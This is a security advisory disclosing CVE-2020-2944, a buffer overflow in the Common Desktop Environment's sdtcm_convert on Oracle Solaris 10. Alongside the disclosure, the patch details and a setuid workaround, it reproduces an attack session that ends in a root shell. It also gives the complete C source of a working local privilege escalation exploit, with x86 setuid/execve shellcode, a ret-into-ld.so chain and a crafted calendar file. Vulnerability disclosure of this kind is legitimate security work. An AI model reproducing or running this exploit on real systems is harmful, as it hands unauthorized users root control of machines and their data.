Common Desktop Environment 1.6 Local Privilege Escalation

@Mediaservice.net Security Advisory #2020-05 (last updated on 2020-04-15)

         Title:Local privilege escalation via CDE sdtcm_convert
   Application: Common Desktop Environment 1.6 and earlier
     Platforms:Oracle Solaris 10 1/13 (Update 11) and earlier
Other platforms are potentially affected (see below)
   Description:A local attacker can gain root privileges by exploiting a
buffer overflow in CDE sdtcm_convert
        Author:Marco Ivaldi <[email protected]>
 Vendor Status:Oracle <[email protected]> notified on 2019-12-08
CERT/CC notified on 2019-12-09 (tracking VU#308289)
      CVE Name:CVE-2020-2944
   CVSS Vector:CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H (Base Score: 8.8)
    References: https://github.com/0xdea/advisories/blob/master/2020-05-cde-sdtcm_convert.txt
https://www.oracle.com/security-alerts/cpuapr2020.html
https://www.oracle.com/technetwork/server-storage/solaris10/
https://www.mediaservice.net/
https://0xdeadbeef.info/

1. Abstract.

A buffer overflow in the _SanityCheck() function in the Common Desktop
Environment version distributed with Oracle Solaris 10 1/13 (Update 11) and
earlier allows local users to gain root privileges via a long calendar name or
calendar owner passed to sdtcm_convert in a malicious calendar file.

The open source version of CDE (based on the CDE 2.x codebase) is not affected,
because it does not ship the vulnerable program.

2. Example Attack Session.

bash-3.2$ cat /etc/release
                    Oracle Solaris 10 1/13 s10x_u11wos_24a X86
  Copyright (c) 1983, 2013, Oracle and/or its affiliates. All rights reserved.
                            Assembled 17 January 2013
bash-3.2$ uname -a
SunOS nostalgia 5.10 Generic_147148-26 i86pc i386 i86pc
bash-3.2$ id
uid=54322(raptor) gid=1(other)
bash-3.2$ gcc raptor_sdtcm_conv.c -o raptor_sdtcm_conv -Wall
bash-3.2$ ./raptor_sdtcm_conv
raptor_sdtcm_conv.c - CDE sdtcm_convert LPE for Solaris/Intel
Copyright (c) 2019-2020 Marco Ivaldi <[email protected]>

Using SI_PLATFORM       : i86pc (5.10)
Using SI_HOSTNAME       : nostalgia
Using stack base        : 0x8047fff
Using rwx_mem address   : 0xfeffa004
Using payload address   : 0x8047dff
Using strcpy() address  : 0xfefe26a0

Preparing the evil calendar file... Done.
Exploiting... Please answer "n" when prompted.
Loading the calendar ...
[...]
Do you want to correct it? (Y/N) [Y] n
# id
uid=0(root) gid=1(other) egid=12(daemon)

3. Affected Platforms.

All platforms shipping the Common Desktop Environment based on the CDE 1.x
codebase are potentially affected. This includes:

* Oracle Solaris 10 1/13 (Update 11) and earlier [default installation]

The open source version of CDE (based on the CDE 2.x codebase) is not affected,
because it does not ship the vulnerable program.

4. Fix.

Oracle has assigned the tracking# S1239395 and has released a fix for all
affected and supported versions of Solaris in the Critical Patch Update (CPU)
of April 2020.

As a workaround, it is also possible to remove the setuid bit from the
vulnerable executable as follows (note that this might prevent it from working
properly):

bash-3.2# chmod -s /usr/dt/bin/sdtcm_convert

Please note that during the audit many other potentially exploitable bugs have
surfaced in sdtcm_convert and in the Common Desktop Environment in general.
Therefore, removing the setuid bit from all CDE binaries is recommended,
regardless of patches released by vendors.

5. Proof of Concept.

An exploit for Oracle Solaris 10 1/13 (Update 11) Intel has been developed as a
proof of concept. It can be downloaded from:

https://github.com/0xdea/exploits/blob/master/solaris/raptor_sdtcm_conv.c

raptor_sdtcm_conv.c proof of concept:

/*
 * raptor_sdtcm_conv.c - CDE sdtcm_convert LPE for Solaris/Intel
 * Copyright (c) 2019-2020 Marco Ivaldi <[email protected]>
 *
 * A buffer overflow in the _SanityCheck() function in the Common Desktop
 * Environment version distributed with Oracle Solaris 10 1/13 (Update 11) and
 * earlier allows local users to gain root privileges via a long calendar name
 * or calendar owner passed to sdtcm_convert in a malicious calendar file
 * (CVE-2020-2944).
 *
 * The open source version of CDE (based on the CDE 2.x codebase) is not
 * affected, because it does not ship the vulnerable binary.
 *
 * "CDE, the gift that keeps on giving" -- @0xdea
 * "Feels more like a curse you can't break from this side." -- @alanc
 *
 * This exploit uses the ret-into-ld.so technique to bypass the non-exec stack
 * protection. In case troubles arise with NULL-bytes inside the ld.so.1 memory
 * space, try returning to sprintf() instead of strcpy().
 *
 * I haven't written a Solaris/SPARC version because I don't have a SPARC box
 * on which Solaris 10 can run. If anybody is kind enough to give me access to
 * such a box, I'd be happy to port my exploit to Solaris/SPARC as well.
 *
 * Usage:
 * $ gcc raptor_sdtcm_conv.c -o raptor_sdtcm_conv -Wall
 * $ ./raptor_sdtcm_conv
 * [...]
 * Do you want to correct it? (Y/N) [Y] n
 * # id
 * uid=0(root) gid=1(other) egid=12(daemon)
 * #
 *
 * This should work with any common configuration on the first try. To
 * re-enable rpc.cmsd, clear its service maintenance status by running the
 * following commands as root:
 * # /usr/sbin/svcadm clear cde-calendar-manager
 * # /usr/bin/svcs -a | grep calendar
 * online         13:16:54 svc:/network/rpc/cde-calendar-manager:default
 *
 * Tested on:
 * SunOS 5.10 Generic_147148-26 i86pc i386 i86pc (Solaris 10 1/13)
 * [previous Solaris versions are also likely vulnerable]
 */

#include <fcntl.h>
#include <link.h>
#include <procfs.h>
#include <stdio.h>
#include <stdlib.h>
#include <strings.h>
#include <unistd.h>
#include <sys/stat.h>
#include <sys/systeminfo.h>
#include <sys/types.h>

#define INFO1   "raptor_sdtcm_conv.c - CDE sdtcm_convert LPE for Solaris/Intel"
#define INFO2   "Copyright (c) 2019-2020 Marco Ivaldi <[email protected]>"

#define VULN    "/usr/dt/bin/sdtcm_convert" // the vulnerable program
#define ADMIN   "/usr/dt/bin/sdtcm_admin"   // calendar admin utility
#define BUFSIZE 2304                // size of the name/owner
#define PAYSIZE 1024                // size of the payload
#define OFFSET  env_len / 2         // offset to the shellcode

char sc[] = /* Solaris/x86 shellcode (8 + 8 + 27 = 43 bytes) */
/* double setuid() */
"\x31\xc0\x50\x50\xb0\x17\xcd\x91"
"\x31\xc0\x50\x50\xb0\x17\xcd\x91"
/* execve() */
"\x31\xc0\x50\x68/ksh\x68/bin"
"\x89\xe3\x50\x53\x89\xe2\x50"
"\x52\x53\xb0\x3b\x50\xcd\x91";

/* globals */
char    *env[256];
int env_pos = 0, env_len = 0;

/* prototypes */
int add_env(char *string);
void    check_zero(int addr, char *pattern);
int search_ldso(char *sym);
int search_rwx_mem(void);
void    set_val(char *buf, int pos, int val);

/*
 * main()
 */
int main(int argc, char **argv)
{
    char    buf[BUFSIZE], payload[PAYSIZE];
    char    platform[256], release[256], hostname[256];
    int i, payaddr;

    char    *arg[3] = {"foo", "hax0r", NULL};
    int sb = ((int)argv[0] | 0xfff);    /* stack base */
    int ret = search_ldso("strcpy");    /* or sprintf */
    int rwx_mem = search_rwx_mem(); /* rwx memory */

    char    cmd[1024];
    FILE    *fp;

    /* print exploit information */
    fprintf(stderr, "%s\n%s\n\n", INFO1, INFO2);

    /* read command line */
    if (argc != 1) {
        fprintf(stderr, "Usage:\n%s\n[...]\n", argv[0]);
        fprintf(stderr, "Do you want to correct it? (Y/N) [Y] n\n\n");
        exit(1);
    }

    /* get system information */
    sysinfo(SI_PLATFORM, platform, sizeof(platform) - 1);
    sysinfo(SI_RELEASE, release, sizeof(release) - 1);
    sysinfo(SI_HOSTNAME, hostname, sizeof(release) - 1);

    /* prepare the payload (NOPs suck, but I'm too old for VOODOO stuff) */
    memset(payload, '\x90', PAYSIZE);
    payload[PAYSIZE - 1] = 0x0;
    memcpy(&payload[PAYSIZE - sizeof(sc)], sc, sizeof(sc));

    /* fill the envp, keeping padding */
    add_env(payload);
    add_env("HOME=/tmp");
    add_env(NULL);

    /* calculate the payload address */
    payaddr = sb - OFFSET;

    /* prepare the evil palette name */
    memset(buf, 'A', sizeof(buf));
    buf[sizeof(buf) - 1] = 0x0;

    /* fill with function address in ld.so.1, saved eip, and arguments */
    for (i = 0; i < BUFSIZE - 16; i += 4) {
        set_val(buf, i, ret);       /* strcpy */
        set_val(buf, i += 4, rwx_mem);  /* saved eip */
        set_val(buf, i += 4, rwx_mem);  /* 1st argument */
        set_val(buf, i += 4, payaddr);  /* 2nd argument */
    }

    /* print some output */
    fprintf(stderr, "Using SI_PLATFORM\t: %s (%s)\n", platform, release);
    fprintf(stderr, "Using SI_HOSTNAME\t: %s\n", hostname);
    fprintf(stderr, "Using stack base\t: 0x%p\n", (void *)sb);
    fprintf(stderr, "Using rwx_mem address\t: 0x%p\n", (void *)rwx_mem);
    fprintf(stderr, "Using payload address\t: 0x%p\n", (void *)payaddr);
    fprintf(stderr, "Using strcpy() address\t: 0x%p\n\n", (void *)ret);

    /* create the evil calendar file */
    fprintf(stderr, "Preparing the evil calendar file... ");
    snprintf(cmd, sizeof(cmd), "%s -a -c hax0r@%s", ADMIN, hostname);
    if (system(cmd) == -1) {
        perror("Error creating calendar file");
        exit(1);
    }
    if (chmod("/usr/spool/calendar/callog.hax0r", 0660) == -1) {
        perror("Error creating calendar file");
        exit(1);
    }

    /* prepare the evil calendar file (badchars currently not handled) */
    fp = fopen("/usr/spool/calendar/callog.hax0r", "w");
    if (!fp) {
        perror("Error preparing calendar file");
        exit(1);
    }
    fprintf(fp, "Version: 4\n(calendarattributes "
            "(\"-//XAPIA/CSA/CALATTR//NONSGML Access List//EN\","
            "\"10:access_list\",\"world:2\")\n");
    /* buffer overflow in calendar name */
    fprintf(fp, "(\"-//XAPIA/CSA/CALATTR//NONSGML Calendar Name//EN\","
            "\"5:string\",\"%s\")\n", buf);
    fprintf(fp, "(\"-//XAPIA/CSA/CALATTR//NONSGML Calendar Owner//EN\","
            "\"6:user\",\"fnord\")\n)");
    /* buffer overflow in calendar owner */
    /*
    fprintf(fp, "(\"-//XAPIA/CSA/CALATTR//NONSGML Calendar Name//EN\","
            "\"5:string\",\"hax0r\")\n");
    fprintf(fp, "(\"-//XAPIA/CSA/CALATTR//NONSGML Calendar Owner//EN\","
            "\"6:user\",\"%s\")\n)", buf);
    */
    fclose(fp);

    fprintf(stderr, "Done.\n");

    /* run the vulnerable program */
    fprintf(stderr, "Exploiting... Please answer \"n\" when prompted.\n");
    execve(VULN, arg, env);
    perror("execve");
    exit(0);
}

/*
 * add_env(): add a variable to envp and pad if needed
 */
int add_env(char *string)
{
    int i;

    /* null termination */
    if (!string) {
        env[env_pos] = NULL;
        return env_len;
    }

    /* add the variable to envp */
    env[env_pos] = string;
    env_len += strlen(string) + 1;
    env_pos++;

    /* pad the envp using zeroes */
    if ((strlen(string) + 1) % 4)
        for (i = 0; i < (4 - ((strlen(string)+1)%4)); i++, env_pos++) {
            env[env_pos] = string + strlen(string);
            env_len++;
        }

    return env_len;
}

/*
 * check_zero(): check an address for the presence of a 0x00
 */
void check_zero(int addr, char *pattern)
{
    if (!(addr & 0xff) || !(addr & 0xff00) || !(addr & 0xff0000) ||
        !(addr & 0xff000000)) {
        fprintf(stderr, "Error: %s contains a 0x00!\n", pattern);
        exit(1);
    }
}

/*
 * search_ldso(): search for a symbol inside ld.so.1
 */
int search_ldso(char *sym)
{
    int     addr;
    void        *handle;
    Link_map    *lm;

    /* open the executable object file */
    if ((handle = dlmopen(LM_ID_LDSO, NULL, RTLD_LAZY)) == NULL) {
        perror("dlopen");
        exit(1);
    }

    /* get dynamic load information */
    if ((dlinfo(handle, RTLD_DI_LINKMAP, &lm)) == -1) {
        perror("dlinfo");
        exit(1);
    }

    /* search for the address of the symbol */
    if ((addr = (int)dlsym(handle, sym)) == NULL) {
        fprintf(stderr, "Sorry, function %s() not found\n", sym);
        exit(1);
    }

    /* close the executable object file */
    dlclose(handle);

    check_zero(addr - 4, sym);
    return addr;
}

/*
 * search_rwx_mem(): search for an RWX memory segment valid for all
 * programs (typically, /usr/lib/ld.so.1) using the proc filesystem
 */
int search_rwx_mem(void)
{
    int fd;
    char    tmp[16];
    prmap_t map;
    int addr = 0, addr_old;

    /* open the proc filesystem */
    sprintf(tmp,"/proc/%d/map", (int)getpid());
    if ((fd = open(tmp, O_RDONLY)) < 0) {
        fprintf(stderr, "Can't open %s\n", tmp);
        exit(1);
    }

    /* search for the last RWX memory segment before stack (last - 1) */
    while (read(fd, &map, sizeof(map)))
        if (map.pr_vaddr)
            if (map.pr_mflags & (MA_READ | MA_WRITE | MA_EXEC)) {
                addr_old = addr;
                addr = map.pr_vaddr;
            }
    close(fd);

    /* add 4 to the exact address NULL bytes */
    if (!(addr_old & 0xff))
        addr_old |= 0x04;
    if (!(addr_old & 0xff00))
        addr_old |= 0x0400;

    return addr_old;
}

/*
 * set_val(): copy a dword inside a buffer (little endian)
 */
void set_val(char *buf, int pos, int val)
{
    buf[pos] =  (val & 0x000000ff);
    buf[pos + 1] =  (val & 0x0000ff00) >> 8;
    buf[pos + 2] =  (val & 0x00ff0000) >> 16;
    buf[pos + 3] =  (val & 0xff000000) >> 24;
}


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